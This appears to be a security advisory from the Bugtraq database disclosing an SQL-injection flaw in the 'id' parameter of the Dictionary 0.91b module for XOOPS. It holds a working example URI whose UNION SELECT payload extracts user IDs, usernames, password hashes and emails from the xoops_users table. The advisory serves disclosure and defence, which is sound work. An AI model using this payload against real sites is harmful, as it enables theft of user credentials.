Dictionary Module for XOOPS 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	37535
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 30 2009 12:00AM
Updated:	Dec 30 2009 12:00AM
Credit:	Palyo34
Vulnerable:	[email protected] Dictionary 0.91b
Not Vulnerable:

Dictionary Module for XOOPS 'id' Parameter SQL Injection Vulnerability

The Dictionary module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dictionary 0.91b is affected; other versions may also be vulnerable.

Dictionary Module for XOOPS 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/modules/dictionary/detail.php?id=-885+union+select+1,2,3,concat_ws(0x3a,uid,uname,pass,email),5,6+from+xoops_users--

Dictionary Module for XOOPS 'id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Dictionary Module for XOOPS 'id' Parameter SQL Injection Vulnerability

References:

• Dictionary Module Homepage ([email protected])
  
• XOOPS Homepage (XOOPS)